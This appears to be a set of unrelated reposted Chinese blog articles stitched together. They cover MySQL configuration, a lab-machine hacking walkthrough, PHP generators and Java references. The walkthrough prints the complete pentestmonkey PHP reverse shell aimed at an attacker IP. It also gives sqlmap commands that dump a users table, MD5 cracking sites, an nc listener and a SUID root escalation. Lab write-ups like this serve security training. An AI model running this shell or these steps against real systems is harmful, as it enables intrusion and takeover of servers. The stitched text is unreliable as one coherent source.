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... shared-memory shared-memory-base-name=MYSQL The Pipe the MySQL Server will use socket=MYSQL The TCP/IP Port the MySQL Server will listen on port=3306 Path to installation directory. All paths are usually resolved relative to this. basedir="C:/Program Files/MySQL/MySQL Server 8.0/" Path to the database root datadir=C:/ProgramData/MySQL/MySQL Server 8.0/Data The default character set that will be used when a new schema or table is created and no character set is defined 创建新模式或表时使用的默认字符集,并且没有定义字符集 character-set-server= The default authentication plugin to be used when connecting to the server 连接到服务器时使用的默认身份验证插件 default_authentication_plugin=caching_sha2_password The default storage engine that will be used when create new tables when 当创建新表时将使用的默认存储引擎 default-storage-engine=INNODB Set the SQL mode to strict 将SQL模式设置为strict sql-mode="STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION" General and Slow logging. 一般和缓慢的日志。 log-output=NONE general-log=0 general_log_file="DESKTOP-NF9QETB.log" slow-query-log=0 slow_query_log_file="DESKTOP-NF9QETB-slow.log" long_query_time=10 Binary Logging. 二进制日志。 log-bin Error Logging. 错误日志记录。 log-error="DESKTOP-NF9QETB.err" Server Id. server-id=1 Indicates how table and database names are stored on disk and used in MySQL. 指示表名和数据库名如何存储在磁盘上并在MySQL中使用。 Value = 0: Table and database names are stored on disk using the lettercase specified in the CREATE TABLE or CREATE DATABASE statement. Name comparisons are case sensitive. You should not set this variable to 0 if you are running MySQL on a system that has case-insensitive file names (such as Windows or macOS). Value = 0:表名和数据库名使用CREATE Table或CREATE database语句中指定的lettercase存储在磁盘上。名称比较区分大小写。如果您在一个具有不区分大小写文件名(如Windows或macOS)的系统上运行MySQL,则不应将该变量设置为0。 Value = 1: Table names are stored in lowercase on disk and name comparisons are not case-sensitive. MySQL converts all table names to lowercase on storage and lookup. This behavior also applies to database names and table aliases. 表名以小写存储在磁盘上,并且名称比较不区分大小写。MySQL在存储和查找时将所有表名转换为小写。此行为也适用于数据库名称和表别名。 Value = 3, Table and database names are stored on disk using the lettercase specified in the CREATE TABLE or CREATE DATABASE statement, but MySQL converts them to lowercase on lookup. Name comparisons are not case sensitive. This works only on file systems that are not case-sensitive! InnoDB table names and view names are stored in lowercase, as for Value = 1.表名和数据库名使用CREATE Table或CREATE database语句中指定的lettercase存储在磁盘上,但是MySQL在查找时将它们转换为小写。名称比较不区分大小写。这只适用于不区分大小写的文件系统!InnoDB表名和视图名以小写存储,Value = 1。 NOTE: lower_case_table_names can only be configured when initializing the server. Changing the lower_case_table_names setting after the server is initialized is prohibited. lower_case_table_names=1 Secure File Priv. 权限安全文件 secure-file-priv="C:/ProgramData/MySQL/MySQL Server 8.0/Uploads" The maximum amount of concurrent sessions the MySQL server will allow. One of these connections will be reserved for a user with SUPER privileges to allow the administrator to login even if the connection limit has been reached. MySQL服务器允许的最大并发会话量。这些连接中的一个将保留给具有超级特权的用户,以便允许管理员登录,即使已经达到连接限制。 max_connections=151 The number of open tables for all threads. Increasing this value increases the number of file descriptors that mysqld requires. Therefore you have to make sure to set the amount of open files allowed to at least 4096 in the variable "open-files-limit" in 为所有线程打开的表的数量。增加这个值会增加mysqld需要的文件描述符的数量。因此,您必须确保在[mysqld_safe]节中的变量“open-files-limit”中将允许打开的文件数量至少设置为4096 section [mysqld_safe] table_open_cache=2000 Maximum size for internal (in-memory) temporary tables. If a table grows larger than this value, it is automatically converted to disk based table This limitation is for a single table. There can be many of them. 内部(内存)临时表的最大大小。如果一个表比这个值大,那么它将自动转换为基于磁盘的表。可以有很多。 tmp_table_size=94M How many threads we should keep in a cache for reuse. When a client disconnects, the client's threads are put in the cache if there aren't more than thread_cache_size threads from before. This greatly reduces the amount of thread creations needed if you have a lot of new connections. (Normally this doesn't give a notable performance improvement if you have a good thread implementation.) 我们应该在缓存中保留多少线程以供重用。当客户机断开连接时,如果之前的线程数不超过thread_cache_size,则将客户机的线程放入缓存。如果您有很多新连接,这将大大减少所需的线程创建量(通常,如果您有一个良好的线程实现,这不会带来显著的性能改进)。 thread_cache_size=10 MyISAM Specific options The maximum size of the temporary file MySQL is allowed to use while recreating the index (during REPAIR, ALTER TABLE or LOAD DATA INFILE. If the file-size would be bigger than this, the index will be created through the key cache (which is slower). MySQL允许在重新创建索引时(在修复、修改表或加载数据时)使用临时文件的最大大小。如果文件大小大于这个值,那么索引将通过键缓存创建(这比较慢)。 myisam_max_sort_file_size=100G If the temporary file used for fast index creation would be bigger than using the key cache by the amount specified here, then prefer the key cache method. This is mainly used to force long character keys in large tables to use the slower key cache method to create the index. myisam_sort_buffer_size=179M Size of the Key Buffer, used to cache index blocks for MyISAM tables. Do not set it larger than 30% of your available memory, as some memory is also required by the OS to cache rows. Even if you're not using MyISAM tables, you should still set it to 8-64M as it will also be used for internal temporary disk tables. 如果用于快速创建索引的临时文件比这里指定的使用键缓存的文件大,则首选键缓存方法。这主要用于强制大型表中的长字符键使用较慢的键缓存方法来创建索引。 key_buffer_size=8M Size of the buffer used for doing full table scans of MyISAM tables. Allocated per thread, if a full scan is needed. 用于对MyISAM表执行全表扫描的缓冲区的大小。如果需要完整的扫描,则为每个线程分配。 read_buffer_size=256K read_rnd_buffer_size=512K INNODB Specific options INNODB特定选项 innodb_data_home_dir= Use this option if you have a MySQL server with InnoDB support enabled but you do not plan to use it. This will save memory and disk space and speed up some things. 如果您启用了一个支持InnoDB的MySQL服务器,但是您不打算使用它,那么可以使用这个选项。这将节省内存和磁盘空间,并加快一些事情。skip-innodb skip-innodb If set to 1, InnoDB will flush (fsync) the transaction logs to the disk at each commit, which offers full ACID behavior. If you are willing to compromise this safety, and you are running small transactions, you may set this to 0 or 2 to reduce disk I/O to the logs. Value 0 means that the log is only written to the log file and the log file flushed to disk approximately once per second. Value 2 means the log is written to the log file at each commit, but the log file is only flushed to disk approximately once per second. 如果设置为1,InnoDB将在每次提交时将事务日志刷新(fsync)到磁盘,这将提供完整的ACID行为。如果您愿意牺牲这种安全性,并且正在运行小型事务,您可以将其设置为0或2,以将磁盘I/O减少到日志。值0表示日志仅写入日志文件,日志文件大约每秒刷新一次磁盘。值2表示日志在每次提交时写入日志文件,但是日志文件大约每秒只刷新一次磁盘。 innodb_flush_log_at_trx_commit=1 The size of the buffer InnoDB uses for buffering log data. As soon as it is full, InnoDB will have to flush it to disk. As it is flushed once per second anyway, it does not make sense to have it very large (even with long transactions).InnoDB用于缓冲日志数据的缓冲区大小。一旦它满了,InnoDB就必须将它刷新到磁盘。由于它无论如何每秒刷新一次,所以将它设置为非常大的值是没有意义的(即使是长事务)。 innodb_log_buffer_size=5M InnoDB, unlike MyISAM, uses a buffer pool to cache both indexes and row data. The bigger you set this the less disk I/O is needed to access data in tables. On a dedicated database server you may set this parameter up to 80% of the machine physical memory size. Do not set it too large, though, because competition of the physical memory may cause paging in the operating system. Note that on 32bit systems you might be limited to 2-3.5G of user level memory per process, so do not set it too high. 与MyISAM不同,InnoDB使用缓冲池来缓存索引和行数据。设置的值越大,访问表中的数据所需的磁盘I/O就越少。在专用数据库服务器上,可以将该参数设置为机器物理内存大小的80%。但是,不要将它设置得太大,因为物理内存的竞争可能会导致操作系统中的分页。注意,在32位系统上,每个进程的用户级内存可能被限制在2-3.5G,所以不要设置得太高。 innodb_buffer_pool_size=20M Size of each log file in a log group. You should set the combined size of log files to about 25%-100% of your buffer pool size to avoid unneeded buffer pool flush activity on log file overwrite. However, note that a larger logfile size will increase the time needed for the recovery process. 日志组中每个日志文件的大小。您应该将日志文件的合并大小设置为缓冲池大小的25%-100%,以避免在覆盖日志文件时出现不必要的缓冲池刷新活动。但是,请注意,较大的日志文件大小将增加恢复过程所需的时间。 innodb_log_file_size=48M Number of threads allowed inside the InnoDB kernel. The optimal value depends highly on the application, hardware as well as the OS scheduler properties. A too high value may lead to thread thrashing. InnoDB内核中允许的线程数。最优值在很大程度上取决于应用程序、硬件以及OS调度程序属性。过高的值可能导致线程抖动。 innodb_thread_concurrency=9 The increment size (in MB) for extending the size of an auto-extend InnoDB system tablespace file when it becomes full. 增量大小(以MB为单位),用于在表空间满时扩展自动扩展的InnoDB系统表空间文件的大小。 innodb_autoextend_increment=128 The number of regions that the InnoDB buffer pool is divided into. For systems with buffer pools in the multi-gigabyte range, dividing the buffer pool into separate instances can improve concurrency, by reducing contention as different threads read and write to cached pages. InnoDB缓冲池划分的区域数。对于具有多gb缓冲池的系统,将缓冲池划分为单独的实例可以提高并发性,因为不同的线程对缓存页面的读写会减少争用。 innodb_buffer_pool_instances=8 Determines the number of threads that can enter InnoDB concurrently. 确定可以同时进入InnoDB的线程数 innodb_concurrency_tickets=5000 Specifies how long in milliseconds (ms) a block inserted into the old sublist must stay there after its first access before it can be moved to the new sublist. 指定插入到旧子列表中的块必须在第一次访问之后停留多长时间(毫秒),然后才能移动到新子列表。 innodb_old_blocks_time=1000 It specifies the maximum number of .ibd files that MySQL can keep open at one time. The minimum value is 10. 它指定MySQL一次可以打开的.ibd文件的最大数量。最小值是10。 innodb_open_files=300 When this variable is enabled, InnoDB updates statistics during metadata statements. 当启用此变量时,InnoDB会在元数据语句期间更新统计信息。 innodb_stats_on_metadata=0 When innodb_file_per_table is enabled (the default in 5.6.6 and higher), InnoDB stores the data and indexes for each newly created table in a separate .ibd file, rather than in the system tablespace. 当启用innodb_file_per_table(5.6.6或更高版本的默认值)时,InnoDB将每个新创建的表的数据和索引存储在单独的.ibd文件中,而不是系统表空间中。 innodb_file_per_table=1 Use the following list of values: 0 for crc32, 1 for strict_crc32, 2 for innodb, 3 for strict_innodb, 4 for none, 5 for strict_none. 使用以下值列表:0表示crc32, 1表示strict_crc32, 2表示innodb, 3表示strict_innodb, 4表示none, 5表示strict_none。 innodb_checksum_algorithm=0 The number of outstanding connection requests MySQL can have. This option is useful when the main MySQL thread gets many connection requests in a very short time. It then takes some time (although very little) for the main thread to check the connection and start a new thread. The back_log value indicates how many requests can be stacked during this short time before MySQL momentarily stops answering new requests. You need to increase this only if you expect a large number of connections in a short period of time. MySQL可以有多少未完成连接请求。当MySQL主线程在很短的时间内收到许多连接请求时,这个选项非常有用。然后,主线程需要一些时间(尽管很少)来检查连接并启动一个新线程。back_log值表示在MySQL暂时停止响应新请求之前的短时间内可以堆多少个请求。只有当您预期在短时间内会有大量连接时,才需要增加这个值。 back_log=80 If this is set to a nonzero value, all tables are closed every flush_time seconds to free up resources and synchronize unflushed data to disk. This option is best used only on systems with minimal resources. 如果将该值设置为非零值,则每隔flush_time秒关闭所有表,以释放资源并将未刷新的数据同步到磁盘。这个选项最好只在资源最少的系统上使用。 flush_time=0 The minimum size of the buffer that is used for plain index scans, range index scans, and joins that do not use 用于普通索引扫描、范围索引扫描和不使用索引执行全表扫描的连接的缓冲区的最小大小。 indexes and thus perform full table scans. join_buffer_size=200M The maximum size of one packet or any generated or intermediate string, or any parameter sent by the mysql_stmt_send_long_data() C API function. 由mysql_stmt_send_long_data() C API函数发送的一个包或任何生成的或中间字符串或任何参数的最大大小 max_allowed_packet=500M If more than this many successive connection requests from a host are interrupted without a successful connection, the server blocks that host from performing further connections. 如果在没有成功连接的情况下中断了来自主机的多个连续连接请求,则服务器将阻止主机执行进一步的连接。 max_connect_errors=100 Changes the number of file descriptors available to mysqld. You should try increasing the value of this option if mysqld gives you the error "Too many open files". 更改mysqld可用的文件描述符的数量。如果mysqld给您的错误是“打开的文件太多”,您应该尝试增加这个选项的值。 open_files_limit=4161 If you see many sort_merge_passes per second in SHOW GLOBAL STATUS output, you can consider increasing the sort_buffer_size value to speed up ORDER BY or GROUP BY operations that cannot be improved with query optimization or improved indexing. 如果在SHOW GLOBAL STATUS输出中每秒看到许多sort_merge_passes,可以考虑增加sort_buffer_size值,以加快ORDER BY或GROUP BY操作的速度,这些操作无法通过查询优化或改进索引来改进。 sort_buffer_size=1M The number of table definitions (from .frm files) that can be stored in the definition cache. If you use a large number of tables, you can create a large table definition cache to speed up opening of tables. The table definition cache takes less space and does not use file descriptors, unlike the normal table cache. The minimum and default values are both 400. 可以存储在定义缓存中的表定义的数量(来自.frm文件)。如果使用大量表,可以创建一个大型表定义缓存来加速表的打开。与普通的表缓存不同,表定义缓存占用更少的空间,并且不使用文件描述符。最小值和默认值都是400。 table_definition_cache=1400 Specify the maximum size of a row-based binary log event, in bytes. Rows are grouped into events smaller than this size if possible. The value should be a multiple of 256. 指定基于行的二进制日志事件的最大大小,单位为字节。如果可能,将行分组为小于此大小的事件。这个值应该是256的倍数。 binlog_row_event_max_size=8K If the value of this variable is greater than 0, a replication slave synchronizes its master.info file to disk. (using fdatasync()) after every sync_master_info events. 如果该变量的值大于0,则复制奴隶将其主.info文件同步到磁盘。(在每个sync_master_info事件之后使用fdatasync())。 sync_master_info=10000 If the value of this variable is greater than 0, the MySQL server synchronizes its relay log to disk. (using fdatasync()) after every sync_relay_log writes to the relay log. 如果这个变量的值大于0,MySQL服务器将其中继日志同步到磁盘。(在每个sync_relay_log写入到中继日志之后使用fdatasync())。 sync_relay_log=10000 If the value of this variable is greater than 0, a replication slave synchronizes its relay-log.info file to disk. (using fdatasync()) after every sync_relay_log_info transactions. 如果该变量的值大于0,则复制奴隶将其中继日志.info文件同步到磁盘。(在每个sync_relay_log_info事务之后使用fdatasync())。 sync_relay_log_info=10000 Load mysql plugins at start."plugin_x ; plugin_y". 开始时加载mysql插件。“plugin_x;plugin_y” plugin_load The TCP/IP Port the MySQL Server X Protocol will listen on. MySQL服务器X协议将监听TCP/IP端口。 loose_mysqlx_port=33060 本篇文章为转载内容。原文链接:https://blog.csdn.net/mywpython/article/details/89499852。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
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... /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
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...应内容。 之前有听过php 中自身也有协程,查看找了下并学习。 demo已上传 我的github笔记 yield 解决的问题 解决运行内存的瓶颈,php程序中的变量存储在内存中,之前有遇到过读取Excel文件时候,会出现内存不足,出现: Fatal Error: Allowed memory size of xxxxxx bytes 所以会设置php 最大运行内存的设置: ini_set('memory_limit', '200M') 但是当我们读取5g 这么大的文件的时候,我们运行内存可能就吃不消了,所以会选择yield 初识Yield 运行: <?phpfunction createRange($number){$data = [];for($i=0;$i<$number;$i++){$data[] = time();}return $data;}$data =createRange(10);foreach($data as $value){sleep(1);//这里停顿1秒,我们后续有用echo $value.PHP_EOL;} 时间是一样的。如果采用yield: <?phpfunction createRange($number){for($i=0;$i<$number;$i++){yield time();} }$data =createRange(10);foreach($data as $value){sleep(1);//这里停顿1秒,我们后续有用echo $value.PHP_EOL;} 时间则间隔一秒钟,所以通过yield 的例子知道,不是像第一个例子中把for 循环的内容储存在内存中,而是一个一个消耗。 读取文件的例子 创建一个txt 文件写入: 第1行第2行第3行第4行第5行第6行第7行第8行 <?phpfunction readTxt(){ code...$handle = fopen("./test.txt", 'rb');while (feof($handle)===false) { code...yield fgets($handle);}fclose($handle);}foreach (readTxt() as $key => $value) { code...sleep(1);echo $value;} 用php 读取文件,则是一行一行的读取 到这边,大概知道了yield 的作用了,之后咱再深入 参考文章 大文件导入导出优化 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_22823581/article/details/91491082。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-12 23:00:22
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...的方法有: copyMemory():直接访问内存 allocateMemory():直接分配内存,这就必须手动回收内存了 freeMemory():回收内存 下面是一个虚引用例子,自己看吧,懂得自然懂,现在看不懂的,先收藏或者保存上,以后回来看 / 一个对象是否有虚引用的存在,完全不会对其生存时间构成影响, 也无法通过虚引用来获取一个对象的实例。 为一个对象设置虚引用关联的唯一目的就是能在这个对象被收集器回收时收到一个系统通知。 虚引用和弱引用对关联对象的回收都不会产生影响,如果只有虚引用活着弱引用关联着对象, 那么这个对象就会被回收。它们的不同之处在于弱引用的get方法,虚引用的get方法始终返回null, 弱引用可以使用ReferenceQueue,虚引用必须配合ReferenceQueue使用。 jdk中直接内存的回收就用到虚引用,由于jvm自动内存管理的范围是堆内存, 而直接内存是在堆内存之外(其实是内存映射文件,自行去理解虚拟内存空间的相关概念), 所以直接内存的分配和回收都是有Unsafe类去操作,java在申请一块直接内存之后, 会在堆内存分配一个对象保存这个堆外内存的引用, 这个对象被垃圾收集器管理,一旦这个对象被回收, 相应的用户线程会收到通知并对直接内存进行清理工作。 事实上,虚引用有一个很重要的用途就是用来做堆外内存的释放, DirectByteBuffer就是通过虚引用来实现堆外内存的释放的。/import java.lang.ref.PhantomReference;import java.lang.ref.Reference;import java.lang.ref.ReferenceQueue;import java.util.LinkedList;import java.util.List;public class T04_PhantomReference {private static final List<Object> LIST = new LinkedList<>();private static final ReferenceQueue<M> QUEUE = new ReferenceQueue<>();public static void main(String[] args) {PhantomReference<M> phantomReference = new PhantomReference<>(new M(), QUEUE);new Thread(() -> {while (true) {LIST.add(new byte[1024 1024]);try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();Thread.currentThread().interrupt();}System.out.println(phantomReference.get());} }).start();new Thread(() -> {while (true) {Reference<? extends M> poll = QUEUE.poll();if (poll != null) {System.out.println("--- 虚引用对象被jvm回收了 ---- " + poll);} }}).start();try {Thread.sleep(500);} catch (InterruptedException e) {e.printStackTrace();} }} 2、容器 1、发展历史(一定要了解) map容器你需要了解的历史 JDK早期,java提供了Vector和Hashtable两个容器,这两个容器,很多操作都加了锁Synchronized,对于某些不需要用锁的情况下,就显得十分影响性能,所以现在基本没人用这两个容器,但是面试经常问这两个容器里面的数据结构等内容 后来,出现了HashMap,此容器完全不加锁,是用的最多的容器 但是完全不加锁未免不完善,所以java提供了如下方式,将HashMap变为加锁的 //通过Collections.synchronizedMap(HashMap)方法,将其变为加锁Map集合,其中泛型随意,UUID只是举例。static Map<UUID, UUID> m = Collections.synchronizedMap(new HashMap<UUID, UUID>()); 通过阅读源码发现,上面方法将HashMap变为加锁,也是使用Synchronized,只是锁的内容更细,但并不比HashTable效率高多少 所以衍生除了新的容器ConcurrentHashMap ConcurrentHashMap 此容器,插入效率不如上面的,因为它做了各种判断和CAS,但是差距不是特别大 读取效率很高,100个线程同时访问,每个线程读取一百万次实测 Hashtable 39s ,SynchronizedHashMap 38s ,ConcurrentHashMap 1.7s 前两个将近40秒,ConcurrentHashMap只需要不到2s,由此可见此容器读取效率极高 2、为什么推荐使用Queue来做高并发 为什么推荐Queue(队列) Queue接口提供了很多针对多线程非常友好的API(offer ,peek和poll,其中BlockingQueue还添加了put和take可以阻塞),可以说专门为多线程高并发而创造的接口,所以一般我们使用Queue而不用List 